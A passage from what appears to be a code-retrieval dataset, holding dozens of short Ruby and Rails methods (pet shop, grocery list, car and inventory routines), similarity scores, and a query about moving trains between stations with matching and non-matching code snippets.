"def sell_pets \n self.dogs.each do |dog|\n dog.owner = nil\n dog.mood = \"nervous\"\n self.dogs.delete(dog)\n end \n self.cats.each do |cat|\n cat.owner = nil\n cat.mood = \"nervous\"\n self.cats.delete(cat)\n end\n end",
"def add_or_remove\n @libraries = @current_user.libraries\n @movies = @current_user.movies\n @movie = @movies.find params[:id]\n action = params[:commit]\n\n if action == \"Add to\"\n params[:library_id].each do |lib_id|\n library = @libraries.find lib_id\n library.movies << @movie unless library.movies.include? @movie\n end\n elsif action == \"Remove from\"\n params[:library_id].each do |lib_id|\n library = @libraries.find lib_id\n library.movies.delete(@movie) if library.movies.include? @movie\n end\n end\n redirect_to @movie\n end",
"def withdraw_cars\n cars_copy = Array.new(self.cars)\n self.cars.delete_all\n\n begin\n if(!self.save)\n puts \"An error has ocurred withdrawing cars in the #{self.name}\"\n puts self.errors.full_messages\n end\n rescue StandardError => e\n Rails.logger.error e\n end\n cars_copy\n end",
"def destroy\n capitol_id = @capitol.id\n licenta_id = @capitol.licenta_id\n numar = @capitol.numar\n @capitol.destroy\n\n # actualizeaza numerele la restul capitolelor de dupa asta distrus\n @capitole = Capitol.where(\"licenta_id = ? and numar > ?\", \"#{licenta_id}\", \"#{numar}\")\n if @capitole.count > 0\n @capitole.each do |cap|\n cap.update_attributes(numar: cap.numar-1)\n end\n end\n\n # sterge si todo-urile capitolului aluia din baza de date\n Todo.where(capitol_id: capitol_id).delete_all\n\n respond_to do |format|\n format.html { redirect_to root_path }\n format.json { head :no_content }\n end\n end",
"def add_car(car_type)\n return false if 0 == @spaces[car_type]\n @spaces[car_type] -= 1\n true\n end",
"def grocery_deleter(groceries,item_delete)\n\n\tgroceries.delete(item_delete)\n\n\treturn groceries\n\nend",
"def add_item (grocery_list, grocery_item)\n grocery_list.store(grocery_item, 0)\nend",
"def add_cars()\nend",
"def sell_pet_to_customer(pet_shop, pet, customer)\n pet_shop[:admin][:pets_sold] += pet\n customer[:pets] += pet\n customer[:cash] -= pet[:price]\n pet_shop[:admin][:total_cash] += pet[:price]\n pet_shop[:pets].delete(pet)\nend",
"def add_carriage(value, type)\n return 'Остановите поезд!' unless @speed.zero?\n\n if @@carriages_depot[type].empty?\n new_carriage(value)\n else\n carriage = @@carriages_depot[type].last\n @carriages << carriage\n @@carriages_depot[type].delete(carriage)\n end\n end",
"def test_add_and_remove_releases\n artist = Model::Artist.new\n assert_equal 0, artist.releases.size\n assert_nothing_raised {artist.releases << @releases[0]}\n assert_equal 1, artist.releases.size\n assert_nothing_raised {artist.releases << @releases[1]}\n assert_equal 2, artist.releases.size\n \n assert_nothing_raised {artist.releases.delete @releases[1]}\n assert_equal 1, artist.releases.size\n assert_nothing_raised {artist.releases.delete @releases[0]}\n assert_equal 0, artist.releases.size\n end",
"def delete_object \n diff = -1*self.quantity \n \n self.update_quantity( diff )\n self.destroy \n end",
"def add \n end",
"def destroy\n #adicionando itens baixados da cautela na reserva \n if params[:baixar]=='false' \n @reservaarmamento=Reservaarmamento.where(id: @cautelaarmamento.reservaarmamento_id,\n reserva_id: @cautelaarmamento.cautela.reserva_id)\n qtd_reserva=0\n @reservaarmamento.each do |reservaarmamento| \n qtd_reserva = reservaarmamento.qtd_armamento\n end\n qtd_armamento_baixado =@cautelaarmamento.qtd_armamento\n qtd_realocar= qtd_reserva + qtd_armamento_baixado \n @reservaarmamento.update(qtd_armamento: qtd_realocar)\n mensagem='O Item foi excluído com Scuesso!'\n end \n \n @cautelaarmamento.destroy\n respond_to do |format|\n format.html { redirect_to \"/cautelaarmamentos?cautela_id=\"+@cautelaarmamento.cautela_id.to_s+\"&reserva_id=\"+@cautelaarmamento.cautela.reserva_id.to_s, notice: mensagem}\n format.json { head :no_content }\n end\n end",
"def add_or_remove_cash(pet_shop, cost)\n pet_shop[:admin][:total_cash] += cost\nend",
"def add_or_remove_cash(pet_shop, cash)\n pet_shop[:admin][:total_cash] += cash\nend",
"def destroy\n @cajas = Caja.all \n\n\n a = Cout.find(@viaticotbk_detail.cout_id)\n\n a.parent = nil\n\n a.save \n\n \n if @viaticotbk_detail.destroy\n\n\n begin\n @viaticotbk[:inicial] = @viaticotbk.get_total_inicial\n rescue\n @viaticotbk[:inicial] = 0\n end \n \n begin\n @viaticotbk[:total_ing] = @viaticotbk.get_total_ing\n rescue \n @viaticotbk[:total_ing] = 0\n end \n begin \n @viaticotbk[:total_egreso]= @viaticotbk.get_total_sal\n rescue \n @viaticotbk[:total_egreso]= 0 \n end \n @viaticotbk[:saldo] = @viaticotbk[:inicial] + @viaticotbk[:total_ing] - @viaticotbk[:total_egreso]\n\n\n @viaticotbk.save\n \n if @viaticotbk.caja_id == 1 \n a = @cajas.find(1)\n a.inicial = @viaticotbk[:saldo]\n a.save\n end \n if @viaticotbk.caja_id == 2\n a = @cajas.find(2)\n a.inicial = @viaticotbk[:saldo]\n a.save\n end \n if @viaticotbk.caja_id == 3 \n a = @cajas.find(3)\n a.inicial = @viaticotbk[:saldo]\n a.save\n end \n if @viaticotbk.caja_id == 4 \n a = @cajas.find(4)\n a.inicial = @viaticotbk[:saldo]\n a.save\n end \n\n if @viaticotbk.caja_id == 5\n a = @cajas.find(5)\n a.inicial = @viaticotbk[:saldo]\n a.save\n end \n\n if @viaticotbk.caja_id == 6\n a = @cajas.find(6)\n a.inicial = @viaticotbk[:saldo]\n a.save\n end \n\n \n flash[:notice]= \"Item fue eliminado satisfactoriamente \"\n redirect_to @viaticotbk\n else\n flash[:error]= \"Item ha tenido un error y no fue eliminado\"\n render :show \n end \n \n end",
"def delete\n \n end",
"def destroy\n @compra_materia_prima.materia_compradas.each do |item|\n i = MateriaPrima.find(item.materia_prima_id)\n i.quantidade = i.quantidade - item.quantidade\n i.save\n end\n @compra_materia_prima.destroy\n respond_to do |format|\n format.html { redirect_to compra_materias_primas_url }\n format.json { head :no_content }\n end\n end",
"def add_or_remove_cash(petshop,cash) \n petshop[:admin][:total_cash] += cash\n end",
"def add_or_remove_cash(pet_shop, amount_cash)\n pet_shop[:admin][:total_cash] += amount_cash\nend",
"def add_or_remove(item_ids,add_or_remove)\n\t item_ids.map {|id|\n\t begin\n\t \t #puts \"the signed in resource is:\"\n\t \t #puts self.signed_in_resource\n\t \t \n\t\t cart_item = Auth.configuration.cart_item_class.constantize.find_self(id,self.signed_in_resource)\n\t\t \n\t\t cart_item.signed_in_resource = self.signed_in_resource\n\t\t \t\n\t\t puts \"Add or remove is: #{add_or_remove}\"\n\n\t\t resp = (add_or_remove == 1) ? cart_item.set_cart_and_resource(self) : cart_item.unset_cart\n\t\t \t\n\t\t puts \"unset cart is:#{resp.to_s}\"\n\t\t \n\t\t \n\t\t resp\n\t \t rescue Mongoid::Errors::DocumentNotFound => error\n\t \t \t#puts \"--------------------------------------------DIDNT FIND THE CART ITEM\"\n\t \t \t#puts error.to_s\n\t \t \t#puts \"--------------------------------------------\"\n\t \t \ttrue\n\t \t end\n\t }\n\t #self.errors.add(:cart_items,\"some cart items could not be added or removed successfully\") if ((add_remove_results.size > 1) || (add_remove_results[0] == false)) \n\t \n\tend",
"def delete_from(grocery, item)\n grocery.delete(item)\n grocery\nend",
"def alter_item_data info\n operations.each do |op|\n plate = op.input(\"Plate\").item\n if info[\"n#{plate.id}\".to_sym] == 0\n plate.mark_as_deleted\n plate.save\n op.temporary[:delete] = true\n op.error :no_colonies, \"There are no colonies for plate #{plate}\"\n else\n if info[\"s.#{plate.id}\".to_sym] == \"there are tiny baby colonies\"\n op.temporary[:re_incubate] = true\n end\n plate.associate :num_colonies, info[\"n#{plate.id}\".to_sym]\n plate.associate :status, info[\"s#{plate.id}\".to_sym]\n plate.store\n plate.reload\n op.pass(\"Plate\", \"Plate\")\n end\n end\n end",
"def add\n\tend",
"def destroy\n @cajas = Caja.all \n if @viatico_detail.destroy\n begin\n @viatico[:inicial] = @viatico.get_total_inicial\n rescue\n @viatico[:inicial] = 0\n end \n \n begin\n @viatico[:total_ing] = @viatico.get_total_ing\n rescue \n @viatico[:total_ing] = 0\n end \n begin \n @viatico[:total_egreso]= @viatico.get_total_sal\n rescue \n @viatico[:total_egreso]= 0 \n end \n @viatico[:saldo] = @viatico[:inicial] + @viatico[:total_ing] - @viatico[:total_egreso]\n @viatico.save\n \n if @viatico.caja_id == 1 \n a = @cajas.find(1)\n a.inicial = @viatico[:saldo]\n a.save\n end \n if @viatico.caja_id == 2\n a = @cajas.find(2)\n a.inicial = @viatico[:saldo]\n a.save\n end \n if @viatico.caja_id == 3 \n a = @cajas.find(3)\n a.inicial = @viatico[:saldo]\n a.save\n end \n if @viatico.caja_id == 4 \n a = @cajas.find(4)\n a.inicial = @viatico[:saldo]\n a.save\n end \n \n flash[:notice]= \"Item fue eliminado satisfactoriamente \"\n redirect_to @viatico\n else\n flash[:error]= \"Item ha tenido un error y no fue eliminado\"\n render :show \n end \n \n end",
"def destroy\n @cajas = Caja.all \n if @viatico_detail.destroy\n begin\n @viatico[:inicial] = @viatico.get_total_inicial\n rescue\n @viatico[:inicial] = 0\n end \n \n begin\n @viatico[:total_ing] = @viatico.get_total_ingreso\n rescue \n @viatico[:total_ing] = 0\n end \n begin \n @viatico[:total_egreso]= @viatico.get_total_egreso\n rescue \n @viatico[:total_egreso]= 0 \n end \n @viatico[:saldo] = @viatico[:inicial] + @viatico[:total_ing] - @viatico[:total_egreso]\n @viatico.save\n \n if @viatico.caja_id == 1 \n a = @cajas.find(1)\n a.inicial = @viatico[:saldo]\n a.save\n end \n if @viatico.caja_id == 2\n a = @cajas.find(2)\n a.inicial = @viatico[:saldo]\n a.save\n end \n if @viatico.caja_id == 3 \n a = @cajas.find(3)\n a.inicial = @viatico[:saldo]\n a.save\n end \n if @viatico.caja_id == 4 \n a = @cajas.find(4)\n a.inicial = @viatico[:saldo]\n a.save\n end \n \n flash[:notice]= \"Item fue eliminado satisfactoriamente \"\n redirect_to @viatico\n else\n flash[:error]= \"Item ha tenido un error y no fue eliminado\"\n render :show \n end \n \n end",
"def add_car(car_type)\n case car_type\n when 1\n #big\n return false if @big == 0\n @big -= 1\n when 2\n #medium\n return false if @medium == 0\n @medium -= 1\n when 3\n #small\n return false if @small == 0\n @small -= 1\n else\n return false\n end\n return true\n end",
"def delete\n end",
"def add_cars(cars)\n cars.each do | car |\n self.cars << car\n end\n\n begin\n if(!self.save)\n puts \"An error has ocurred saving the cars in the #{self.name}\"\n puts self.errors.full_messages\n end\n rescue StandardError => e\n Rails.logger.error e\n end\n end",
"def new_cars(*args)\n # set @new_cars to a new hash so args can be passed in as a key\n @new_cars ||= {}\n @new_cars[args] ||= add_cars(*args)\n end",
"def create_courts\n futbol = Sport.where(:name => 'futbol').first\n tenis = Sport.where(:name => 'tenis').first\n paddle = Sport.where(:name => 'paddle').first\n\n # court_quantity '*' indicates how many courts already has\n # @*_quantity indicates how many tha user wants\n\n ### Futbol Courts\n diffFutbol = court_quantity('futbol') - @futbol_quantity.to_i \n\n if(diffFutbol > 0)\n diffFutbol.times { self.courts.delete(self.courts.where('sport_id = ?',futbol.id).last)}\n end\n\n if(diffFutbol < 0)\n diffFutbol.abs.times { self.courts.build sport_id: futbol.id }\n end\n\n\n ### Tenis Courts\n\n diffTenis = court_quantity('tenis') - @tenis_quantity.to_i \n\n if(diffTenis > 0)\n diffTenis.times { self.courts.delete(self.courts.where('sport_id = ?',tenis.id).last)}\n end\n\n if(diffTenis < 0)\n diffTenis.abs.times { self.courts.build sport_id: tenis.id }\n end\n\n ### Paddle Courts\n\n diffPaddle = court_quantity('paddle') - @paddle_quantity.to_i \n\n if(diffPaddle > 0)\n diffPaddle.times { self.courts.delete(self.courts.where('sport_id = ?',paddle.id).last)}\n end\n\n if(diffPaddle < 0)\n diffPaddle.abs.times { self.courts.build sport_id: paddle.id }\n end \n end",
"def delete\n end",
"def remove; end",
"def remove; end",
"def remove; end",
"def remove; end",
"def addCourses\n\t\tself.ccounter = 1 \t\n\tend",
"def add_or_remove_cash(pet_shop, amount)\n pet_shop[:admin][:total_cash] += amount\nend",
"def add\n end",
"def add\n end",
"def delete_entry\n\t\t#delete product from cards\n\t\t\tstatement=@connection.prepare(\"delete from cards where card_no=?\")\n\t\t\tstatement.execute(@card_no)\n\t\t#delete product from inline_products\n\t\t\tstatement1=@connection.prepare(\"delete from inline_products where card_no=?\")\n\t\t\tstatement1.execute(@card_no)\n\tend",
"def add(grocery_list, food, quantity)\n\tgrocery_list[food] = quantity\nend",
"def delete\n end",
"def update\n #replace the parts first\n\n Service.transaction do\n @service.expended_part_ids.uniq.each do |part_id|\n p = ExpendedPart.find(part_id)\n p.part.update(inventory: p.part.inventory + @service.expended_part_ids.count(part_id) )\n p.destroy\n end\n\n updated_parts = service_params[:part_ids]\n updated_parts.delete('')\n updated_parts.uniq.each do |part_id|\n p = Part.find(part_id)\n p.update(inventory: p.inventory - updated_parts.count(part_id))\n end\n end\n\n if @service.update(service_params)\n redirect_to tool_path(service_params[:tool_id]); gflash :success => 'Service was successfully updated.'\n else\n render action: 'edit'\n end\n\n end",
"def destroy\r\n @cost.destroy\r\n end",
"def delete_item(grocery_list, item)\ngrocery_list.delete(item)\np grocery_list\n\nend",
"def before_destroy\n if (self.costs.count > 0)\n raise RException.new(\"This order has cost-items attached to it -- You must first delete those costs before you can delete this order\")\n end\n end",
"def destroy\n #adicionando itens baixados da cautela na reserva \n if params[:baixar]=='false' \n @reservamunicao=Reservamunicao.where(id: @cautelamunicao.reservamunicao_id,\n reserva_id: @cautelamunicao.cautela.reserva_id)\n \n qtd_reserva=0\n @reservamunicao.each do |reservamunicaos| \n qtd_reserva = reservamunicaos.qtd_municao\n end\n qtd_municao_baixado =@cautelamunicao.qtd_municao\n qtd_realocar= qtd_reserva + qtd_municao_baixado \n @reservamunicao.update(qtd_municao: qtd_realocar)\n mensagem='O Item foi excluído com Scuesso!'\n end \n \n @cautelamunicao.destroy\n respond_to do |format|\n format.html { redirect_to \"/cautelamunicaos?cautela_id=\"+@cautelamunicao.cautela_id.to_s+\"&reserva_id=\"+@cautelamunicao.cautela.reserva_id.to_s, notice: mensagem}\n format.json { head :no_content }\n end\n end",
"def grocery_item_deleter(grocery_list, item)\n grocery_list.delete(item)\n grocery_list\nend",
"def add_chocolate_bar(chocolate_bar)\ncurrent_item = line_items.find_by(chocolate_bar_id: chocolate_bar.id)\nif current_item\ncurrent_item.quantity += 1\nelse\ncurrent_item = line_items.build(chocolate_bar_id: chocolate_bar.id)\nend\ncurrent_item\nend",
"def delete\n\n\tend",
"def update_stock\n operador = self.notas_creditos_debito.tipo == 'DevolucionCompra' ? -1 : 1\n if deleted?\n MercaderiaExtracto.eliminar_movimiento(self, self.notas_creditos_debito.fecha, cantidad * operador*-1)\n else\n MercaderiaExtracto.crear_o_actualizar_extracto(self, self.notas_creditos_debito.fecha, cantidad_was.to_f * operador, cantidad * operador)\n end\n end",
"def add_car(car_type)\n return false if @slots[car_type] == 0\n @slots[car_type] -= 1\n true\n end",
"def delete\n end",
"def delete\n end",
"def delete\n end",
"def delete\n end",
"def delete\n end",
"def delete\n end",
"def delete\n end",
"def add(grocery_list, item, quantity)\n grocery_list[item] = quantity\nend",
"def update_item_data (info)\n operations.each do |op|\n plate = op.input(\"Plate\").item\n if info[\"n#{plate.id}\".to_sym] == 0\n plate.mark_as_deleted\n plate.save\n op.temporary[:delete] = true\n op.error :no_colonies, \"There are no colonies for plate #{plate.id}\"\n else\n plate.associate :num_colonies, info[\"n#{plate.id}\".to_sym]\n plate.associate :status, info[\"s#{plate.id}\".to_sym]\n \n \n checked_ot = ObjectType.find_by_name(\"Checked E coli Plate of Plasmid\")\n plate.store if plate.object_type_id != checked_ot.id\n plate.object_type_id = checked_ot.id\n plate.save\n op.output(\"Plate\").set item: plate\n \n op.plan.associate \"plate_#{op.input(\"Plate\").sample.id}\", plate.id\n end\n end\n end",
"def remove(grocery_list, food)\n\tgrocery_list.delete(food)\nend",
"def delete_item_grocery_list(list, category, item)\n list[category].delete(item)\n list\nend",
"def destroy\n if @service_category.name == \"Otros\"\n redirect_to service_categories_path, notice: 'No es posible eliminar la categoría \"Otros\".'\n end\n @services = Service.where(service_category_id: @service_category)\n @bundles = Bundle.where(service_category_id: @service_category)\n @new_service_category = ServiceCategory.where(company_id: @service_category.company_id, name: \"Otros\").first\n if @new_service_category.nil?\n @new_service_category = ServiceCategory.create(name: \"Otros\", company_id: @service_category.company_id)\n @new_service_category.save\n end\n @services.each do |service|\n service.service_category = @new_service_category\n service.save\n end\n @bundles.each do |bundle|\n bundle.service_category = @new_service_category\n bundle.save\n end\n @service_category.destroy\n respond_to do |format|\n format.html { redirect_to service_categories_url }\n format.json { head :no_content }\n end\n end",
"def add_pet_to_customer(customer, new_pet)\n customer[:pets].push(new_pet)\n customer[:pets].count\nend",
"def add_pet_to_customer(customer,new_pet)\n customer[:pets] << new_pet\n return\nend",
"def add\n\nend",
"def add_or_remove_cash(pet_shop,cash)\n return pet_shop[:admin][:total_cash] +=cash\nend",
"def add(food)\n foodList << food\nend",
"def unload_cars_if_arrived_at_destination\n if (self.cidade_destino == self.cidade_id)\n cars.each do |car|\n # verifica se o carro descarregado chegou no destino ou se vai embarcar em outra cegonha/parceiro (logistica)\n\n if car.cidade_destino == self.cidade_destino\n car.ativo = VEHICLE_STATUS.index('UNLOADED')\n else\n car.ativo = VEHICLE_STATUS.index('IN_LOGISTICS')\n end\n car.cegonha = nil\n car.save\n end\n self.update_column(:cidade_destino, nil)\n self.update_column(:cidade_origem, nil)\n end\n end",
"def nom cages, index\r\n\tcages.delete_at index\r\n\trearrange cages, index\r\nend",
"def destroy\n @solicitacao.produto_solicitados.each do |item|\n i = Produto.find(item.produto_id)\n i.quantidade = i.quantidade + item.quantidade\n i.save\n end\n @solicitacao.destroy\n respond_to do |format|\n format.html { redirect_to solicitacoes_url }\n format.json { head :no_content }\n end\n end",
"def add_or_remove_cash(pet_shop, num) \n return pet_shop[:admin][:total_cash] += num \nend",
"def add\n @item.increment(:quantity)\n @item.save!\n\n refresh\n end",
"def add_or_remove_customer_cash(customer, amount)\n customer[:cash] += amount\nend",
"def remove(item, quantity, grocery_list)\n if grocery_list.include?(item) == false \n p \"Item is not on the grocery list.\"\n else \n grocery_list.delete(item)\n end\n #print_list(grocery_list)\nend",
"def remove(item, quantity, grocery_list)\n if grocery_list.include?(item) == false \n p \"Item is not on the grocery list.\"\n else \n grocery_list.delete(item)\n end\n #print_list(grocery_list)\nend",
"def destroy\n @car = Car.find(params[:id])\n reservations = Reservation.where(car_id: @car.id)\n reservations.destroy_all\n @car.destroy\n flash[:success] = 'Car deleted.'\n redirect_to cars_url\n end",
"def delete_plates\n show do \n title \"Discard Plates\"\n \n discard_plate_ids = operations.select { |op| op.temporary[:delete] }.map { |op| op.input(\"Plate\").item.id }\n note \"Discard the following plates with 0 colonies: #{discard_plate_ids}\"\n end if operations.any? { |op| op.temporary[:delete] }\n end",
"def addcourse\n @courses = Course.all\n @me.courses.each do |mine|\n @courses.delete(mine)\n end\n end",
"def remove_item\n\n transaction do\n self.destroy\n \n self.shopping_cart.item_cost ||= 0\n self.shopping_cart.item_cost -= self.item_cost\n\n self.shopping_cart.product_deposit_cost ||= 0\n self.shopping_cart.product_deposit_cost -= self.product_deposit_cost\n \n self.shopping_cart.category_supplement_1_cost ||= 0\n self.shopping_cart.category_supplement_1_cost -= self.category_supplement_1_cost\n self.shopping_cart.category_supplement_2_cost ||= 0\n self.shopping_cart.category_supplement_2_cost -= self.category_supplement_2_cost\n self.shopping_cart.category_supplement_3_cost ||= 0\n self.shopping_cart.category_supplement_3_cost -= self.category_supplement_3_cost\n\n self.shopping_cart.calculate_cost(false, true)\n begin\n self.shopping_cart.save\n rescue DataMapper::SaveFailureError => error\n p \"Error saving shopping cart: #{self.shopping_cart.errors.full_messages.inspect}\"\n raise error\n end\n end\n\n end",
"def add_pet_to_stock(pet_shop,new_customer)\n pet_shop[:pets]<<new_customer\n return\nend",
"def add_new\n @age = Age.find(params[:age_id])\n @gift = Gift.new(gift_params)\n @current_user.gifts << @gift\n # @current_user.gifts << @gift this shovels and saves at the same time\n if @age.gifts << @gift\n render json: {gift: @gift}, status: :created\n else\n render json: { error: @gift.errors }, status: :unprocessible_entity\n end\n end",
"def test_if_a_term_has_courses_it_can_not_be_deleted\n term = Term.create(name: \"Spring 2016 Cohort\", starts_on: \"2016-02-01\", ends_on: \"2016-05-22\")\n course = Course.create(name: \"Ruby on Rails\", course_code: \"ROR600\", color: \"Violet\")\n course_one = Course.create(name: \"Front End\", course_code: \"JST600\", color: \"Mustard\")\n\n assert term.courses << course\n assert term.courses << course_one\n\n refute term.destroy\n end",
"def add_pet_to_customer(customer, new_pet)\ncustomer[:pets].push(new_pet)\nend",
"def add_or_remove_cash(pet_shop, cash)\n pet_shop[:admin][:total_cash] += cash\n # total_cash += cash\n # return total_cash\nend",
"def add_or_remove_cash(shop, cash_amount)\n shop[:admin][:total_cash] += cash_amount\nend",
"def delete\n\n end",
"def add_ingredient_to_recipe quantity, measure, food_item_name, recipe \n food_item = FoodItem.new(:name => food_item_name, :price => nil)\n ingredient = Ingredient.new(:food_item => food_item, :quantity => quantity, :measure => measure, :recipe_id => recipe.id)\n recipe.ingredients << ingredient\n end",
"def add_or_remove_cash(shop, cash_amount)\n shop[:admin][:total_cash] += cash_amount\nend",
"def add_item(grocery_list,new_item,quantity=1)\n grocery_list[new_item] = quantity\nend",
"def descontar_medicamentos\n\t \tself.medicamento.cantidad -= self.cantidad\n\t \tself.medicamento.save\n\t end",
"def add_new_dado\n\t\t@dado += 1\n\tend",
"def destroy\n \n \n if @conciliabank_detail.destroy \n\n @conciliabank[:saldo_final] = @conciliabank[:saldo_inicial] - @conciliabank.get_subtotal(\"cargos\") + @conciliabank.get_subtotal(\"abonos\")\n \n @conciliabank.update_attributes(:saldo_final=> @conciliabank[:saldo_final])\n\n flash[:notice]= \"Item fue eliminado satisfactoriamente \"\n redirect_to @conciliabank\n else\n flash[:error]= \"Item ha tenido un error y no fue eliminado\"\n render :show \n end \n\n end"
] |
[
"0.60848486",
"0.59644866",
"0.58258575",
"0.5766144",
"0.5644753",
"0.56243825",
"0.5577626",
"0.55614036",
"0.55541706",
"0.5538879",
"0.55351627",
"0.5531679",
"0.552931",
"0.5501006",
"0.5492723",
"0.5400532",
"0.5375824",
"0.5340296",
"0.53242975",
"0.5318759",
"0.5300403",
"0.5299678",
"0.52923614",
"0.52856606",
"0.5284721",
"0.52833605",
"0.5279415",
"0.5273588",
"0.52703184",
"0.5255033",
"0.52547145",
"0.525402",
"0.5243461",
"0.5241934",
"0.5239066",
"0.52386314",
"0.523636",
"0.52322286",
"0.52322286",
"0.52322286",
"0.52322286",
"0.52274054",
"0.5221824",
"0.5220621",
"0.5220621",
"0.52204937",
"0.52185035",
"0.52116346",
"0.5203823",
"0.51987875",
"0.5194363",
"0.51940167",
"0.5193139",
"0.51826876",
"0.5175139",
"0.51673454",
"0.51659214",
"0.5165293",
"0.516262",
"0.516262",
"0.516262",
"0.516262",
"0.516262",
"0.516262",
"0.516262",
"0.51498574",
"0.5147686",
"0.514661",
"0.51433474",
"0.51429987",
"0.5127003",
"0.51158184",
"0.51154506",
"0.51085943",
"0.51049274",
"0.5104324",
"0.51041156",
"0.50965416",
"0.5094485",
"0.5087138",
"0.50853086",
"0.50802624",
"0.50802624",
"0.5077126",
"0.5073882",
"0.50718796",
"0.5069573",
"0.5068943",
"0.50646746",
"0.5063558",
"0.5061236",
"0.505187",
"0.5047091",
"0.5045914",
"0.5045467",
"0.5045063",
"0.5044312",
"0.50414836",
"0.5039831",
"0.5035725"
] |
0.530935
|
20
|
Moving trains between stations
|
def go_next_station
@current_station = next_station
puts "Поезд приехал на станцию #{@current_station}"
puts 'Это конечная станция' if @current_station == stations_last
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def move\n @route.stations[@index_current_station].recieve_train(self)\n @route.stations[@index_current_station - 1].send_train(self)\n end",
"def move_station(next_station_index)\n @route.stations[@cur_station_index].send_train(self)\n @route.stations[next_station_index].pass_train(self)\n @cur_station_index = next_station_index\n end",
"def move_forward\n position.depart_train(self)\n @current_station += 1 if @route.stations[@current_station] != @route.stations.last\n position.add_train(self)\n end",
"def move_forward\n raise 'Это последняя станция' if @stations[@index + 1].nil?\n\n @stations[@index].departure(self)\n @index += 1\n @current_station = @stations[@index]\n @stations[@index].arrival(self)\n end",
"def move_back\n position.depart_train(self)\n @current_station -= 1 if @route.stations[@current_station] != @route.stations.first\n position.add_train(self)\n end",
"def move_by_route(forward = true)\n return unless exist_train_route?\n depart_from_station\n\n train_start_speed_kmh = 5\n train_regular_speed_kmh = 60\n\n move train_start_speed_kmh\n move train_regular_speed_kmh\n move train_start_speed_kmh\n\n arrive_to_station forward\n brake\n end",
"def move_train_by_route\n return action_no_trains_on_route unless @trains.any?(&:route)\n\n available_trains_on_route = @trains.select(&:route)\n\n user_input = ask_choose('Train',\n 'on Route to move',\n available_trains_on_route)\n user_train = @trains[user_input - 1]\n\n show_current_station(user_train)\n\n user_input = ask_direction_to_move_train(user_train)\n move_train_on_user_input(user_input, user_train)\n end",
"def move_train\n if @trains.empty?\n puts 'There are no trains to move. Please, create one.'\n else\n selected_train = select_from_array(@trains)\n cases = { '1' => :run_next_station, '2' => :run_previous_station }\n puts \"Select action for #{selected_train}: move to next(1) or to previous(2) station\"\n action = gets.chomp.to_i\n\n selected_train.send(cases[action.to_s]) || incorrect_input\n end\n end",
"def go_to_the_next_station!\n gain_speed\n current_station.send_out(self) if current_station\n self.current_station_id += 1\n current_station.take(self) if current_station\n stop\n end",
"def ahead\n if self.route_check_true\n if @current_station != @route.stations.last\n @route.stations[@route.stations.index(@current_station)].departure(self)\n @current_station = next_station\n @route.stations[@route.stations.index(@current_station)].coming(self)\n end\n end\n end",
"def travel_same_line line_one, station_one, station_two\n if line_one == $line_n\n move_line_n station_one, station_two\n end\n\n if line_one == $line_6\n move_line_6 station_one, station_two\n end\n\n if line_one == $line_l\n move_line_l station_one, station_two\n end\nend",
"def updateStation()\n uri=URI.parse(ViaggiatrenoURLs.STATION_INFO)\n response = Net::HTTP.post_form(uri,{\"stazione\" => @stationFrom, \"lang\" => \"IT\"})\n doc = Nokogiri::HTML(response.body)\n\n doc.xpath(XPathMatchInfo.XPATH_STATION).each do |x|\n \n StringUtils.remove_newlines_tabs_and_spaces(x)\n\n train_number_complete = x.xpath(XPathMatchInfo.XPATH_TRAIN_NUMBER()).to_s\n train_destination = x.xpath(XPathMatchInfo.XPATH_TRAIN_DESTINATION()).to_s\n train_schedule =x.xpath(XPathMatchInfo.XPATH_TRAIN_SCHEDULED()).to_s\n train_description = \"#{train_number_complete} #{train_destination} #{train_schedule}\"\n \n train_number=train_number_complete.match(\"[0-9]+\")[0]\n \n @trains[train_number]=train_description\n @destinations.push(train_destination)\n ### TODO #### #@trains[train_number][description]=train_description\n end\n end",
"def arrival(train)\n @trains << train\n end",
"def touch_in(station)\n raise 'Balance is insuffcient' if insufficient?\n @journey_log.start(station)\n end",
"def data_add_stations\n @routes[0].stations.insert(-2, @stations[1])\n @routes[0].stations.insert(-2, @stations[2])\n @routes[2].stations.insert(-2, @stations[1])\n end",
"def next_station\n @route.stations[@current_station_index + 1]\n end",
"def touch_in(station)\n fail \"Less than £1\" if @balance < MIN_BALANCE\n @in_journey = true\n @entry_station = station\n end",
"def next_station\n if @current_station == @route.stations.last\n @current_station\n else\n @current_station = @route.stations[@route.stations.index(@current_station) + 1]\n end\n end",
"def next_station\n @route.stations[@current_station + 1] if current_station != @route.stations.last\n end",
"def touch_in(station, zone)\n raise \"Insufficient funds!\" if insufficient_funds?\n @journey = Hash.new\n record_journey(:entry_station, station)\n record_journey(:entry_zone, zone)\n # NEED TO MOVE ^^\n end",
"def initialize_stations\r\n @stations = Array.new\r\n i = 0\r\n\r\n @lines.each {|line, stations|\r\n stations.each_with_index {|item, index|\r\n @stations.push(Station.new(item))\r\n if index == 0\r\n @stations.at(-1).set_train(@trains.at(i))\r\n i += 1\r\n end\r\n }\r\n }\r\n\r\n @stations = @stations.uniq { |s| s.station.to_s}\r\n end",
"def merge_into(another_station)\n self.lifts.each do |lift|\n lift.station = another_station\n lift.save!\n end\n\n self.lines_stations.each do |line_station|\n line_station.station_id = another_station.id\n line_station.save!\n end\n\n another_station.location = self.location if self.location\n self.delete\n end",
"def touch_in(station)\n deduct(PENALTYFARE) if @in_joureny == true\n min_balance? ? (fail \"insufficent funds\") : @the_journey.start(station)\n @in_journey = true\n end",
"def move_spin(attrs) #old_position, new_position, station_id\n spin_to_move = Spin.find_by(:station_id => attrs[:station_id],\n :current_position => attrs[:old_position])\n\n #if moving backwards\n if attrs[:old_position] > attrs[:new_position]\n Spin.where(\"station_id = ? and current_position >= ? and current_position <= ?\", \n attrs[:station_id], \n attrs[:new_position], \n attrs[:old_position]).update_all(\"current_position = current_position + 1\")\n\n elsif attrs[:old_position] < attrs[:new_position]\n Spin.where(\"station_id = ? and current_position >= ? and current_position <= ?\", \n attrs[:station_id], \n attrs[:old_position], \n attrs[:new_position]).update_all(\"current_position = current_position - 1\")\n else\n # return false if nothing was moved\n return false\n end\n \n spin_to_move.current_position = attrs[:new_position]\n spin_to_move.save\n \n # return true for successful move\n return true\n end",
"def touch_in(station, journey = Journey.new)\n raise 'Balance is insuffcient' if insufficient?\n @current_journey = journey\n @current_journey.add_entry_journey(station)\n end",
